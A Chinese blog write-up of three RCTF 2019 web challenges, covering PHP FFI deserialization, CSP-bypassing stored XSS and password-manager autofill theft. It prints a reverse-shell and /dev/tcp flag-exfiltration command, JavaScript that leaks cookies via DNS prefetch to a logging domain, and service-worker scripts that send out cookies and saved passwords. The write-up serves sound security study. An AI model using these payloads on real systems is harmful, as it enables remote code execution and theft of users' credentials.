风之栖息地

2019RCTF 部分Web的WriteUp

字数统计: 1.9k阅读时长: 8 min
2019/05/24 Share

一年一度的RCTF开始了,又能学一波骚操作,RCTF的web题目去年就非常好,今年也特别出色。由于研究所月赛的原因没有参与其中,所以赛后来复现一下。

nextphp

1
2
3
4
5
6
7
8
9
10
11
12

<?php

if (isset($_GET['a'])) {

eval($_GET['a']);

} else {

show_source(__FILE__);

}

一个代码执行,但是肯定没有这么简单,执行phpinfo查看到disable_function之后,发现禁用了已知范围内的所有危险函数,并且还把之前考差过的putenv也禁用了。这样就没有办法使用LD_PRELOAD来劫持执行命令了。

同时也检查了一下其他方面,有没有使用什么危险的后端组件,也是全部GG。没有php-fpm,没有mog_cgi,没有ImageMagick等等。

一筹莫展之际,林师傅提醒到可以扫描文件看看,所以果断看看路径上有些啥。通过phpinfo可以得到web路径,使用php函数来打开路径读取内容即可。

1
2
a=var_dump(glob("/var/www/html/*"));
array(2) { [0]=> string(23) "/var/www/html/index.php" [1]=> string(25) "/var/www/html/preload.php" }

可以看到里面除了index.php以外,还有一个神奇的preload.php,读取其中的内容看看。

1
a=var_dump(file_get_contents("/var/www/html/preload.php"));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

里面是一个继承序列化类的自定义类,同时在phpinfo中看到它被opcache.preload预加载了。

感觉这里是有突破口的,搜了一圈发现只有php文档有资料,当时没有什么空就放弃了。

看了zsx大佬的writeup之后,发现这个php是7.4的开发版本,开发版经常会有新特性,这里就是利用一个新特性FFI-Foreign Function Interface,中文叫外部函数接口。

利用这个我们可以引用被禁用的函数,但是由于__set被设置成报错,所以没有办法对$data赋值。所以这里需要调用__unserialize,这里又有一个新机制,在这个类即继承了反序列化类,又拥有__serialize()/__unserialize(),就会优先执行这种方法。

所以我们只需要构造一个类,先正常序列化,修改成class A,然后再反序列化,这样就会覆盖原始的值,同时并不是直接赋值,所以也不会触发__set。最后,利用ffi引入命令执行函数,执行命令反弹shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class D implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);'
];

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
}
}

$a = new D();
$b = serialize($a);
$b = str_replace('"D"', '"A"', $b);
echo urlencode($b);
//$d = unserialize($b);
//$d->ret->system('bash -i >& /dev/tcp/xxxx/8080 0>&1');

这样就把反序列化数据带入最后两行,在远程服务端执行,就可以了。但是这中间有一个坑,就是没有办法反弹shell,只能一次一次的执行命令后回传到vps主机上。

1
$d->ret->system('bash -c "cat /flag > /dev/tcp/xxxx/xxxx"');

jail

漏洞点比较直接,在post区域中没有任何过滤,可以任意输入,是一个存储型xss,但是奈何有csp。

1
content-security-policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';

由于有沙盒,所以没有办法正常外连传输数据,同时由于有banner导致没有办法自动跳转,这里思路有这么几个。

  1. 一般这种连接是没有限制dns查询的,所以可以使用dns外带数据,这里的方法主要是<link rel="dns-prefetch" href=xxxxx.xxxxx.xxxx>,这样在dns记录中就可以查到我们想要的数据。

  2. 利用某些服务机制绕过csp的策略,zsx的writeup中介绍了两种,一个是WebRTC服务会忽略connect-srchttps://github.com/w3c/webrtc-pc/issues/1727。另外一种是利用service worker,这个是js在浏览器注册的一种持续化的服务,这个服务会优先使用它自己的csp策略,所以直接传输空的csp策略就可以绕过。

由于这道题目是直接开启了script的unsafe-inline,所以是可以直接上script标签的。这里是直接用最简单的dns外带数据的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function toHex(s){
var val = "";
for (var i = 0; i < s.length; i++) {
val += s.charCodeAt(i).toString(16);
}
return val;
}
c = document.cookie.split(";");
head = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<c.length;i++)
{
var t = c[i];
if (t.indexOf("flag=") > -1){
t = toHex(t.split("=")[1]);
for(var j = 0; j < 5; j++){
var tt =t.substr(j*20,20);
if (tt.length == 0) break;
head.innerHTML = head.innerHTML + "<link rel=\"dns-prefetch\" href=\"//v_"+j+"_" + tt+ ".flag.xxxxxx.ceye.io\">";
}
}
}

将dns外带数据传给ceye,一个dns的log平台,收到数据之后hex解码即可得到flag。

当然预期解法是service worker,这里通过文件上传js,然后在post处引用。因为service worker机制的问题,可以绕过原来的csp设置。顺带一提,必须要是https才行。

1
fetch('https://YOUR_DOMAIN/?' + encodeURIComponent(globalThis.location.href), {mode: 'no-cors'})
1
<script> navigator.serviceWorker.register('/uploads/21ca75a36c5cdacfd4653fadb2553242.js?' + encodeURIComponent(document.cookie), {scope: '/uploads/'}); </script>

password

延续上一道题目的环境,只不过这次需要获取管理员的密码。是一道很有意思的题目,看完题解之后,发现它是利用密码管理软件的自动提示功能来获得密码。

这里只能通过service worker来完成,首先看到提示之后去读取document.body.innerHTML,可以拿到一些有趣的数据,在里面可以看到有cip这个单词,查询之后知道是chromeipass。

1
<script> setTimeout(() => {navigator.serviceWorker.register('/uploads/511b3c8839bd36230c4aa3c5ff5545ef.js?' + encodeURIComponent(document.body.innerHTML), {scope:'/uploads/'});}, 1000) </script>

这时我们在post的地方增加两个input,一个是username,一个是password,控制脚本去点击这个username的input,然后再去读取document.body.innerHTML。发现会多出一些条目,在其中可以看到flag的选项。

1
<input type="username" name="username"><input type="password" name="password"> <script>setTimeout(()=>{ document.querySelector('[type=username]').click() },500); setTimeout(() => {navigator.serviceWorker.register('/uploads/511b3c8839bd36230c4aa3c5ff5545ef.js?' + encodeURIComponent(document.body.innerHTML), {scope:'/uploads/'});}, 1000) </script>

很明显了,只要选择flag为用户名,再去读取密码就可以了。最后读取flag的password的脚本,配合上之前jail同样的service worker的js,就能收到flag了。

1
2
3
4
5
6
7
<input type="username" name="username">
<input type="password" name="password" id="password">
<script>
setTimeout(()=>{document.querySelector('[type=username]').click()},500);
setTimeout(()=>{document.getElementById('cip-ui-id-4').click()}, 1000);
setTimeout(() => {navigator.serviceWorker.register('/uploads/511b3c8839bd36230c4aa3c5ff5545ef.js?' + encodeURIComponent(document.getElementById('password').value), {scope:'/uploads/'});}, 1500)
</script>

通过这道题我们也知道浏览器保管密码也是会被偷取的,这里拓展一下,是能够写个脚本遍历所有的用户名和密码然后依次发送回xss平台的。

CATALOG
  1. 1. nextphp
  2. 2. jail
  3. 3. password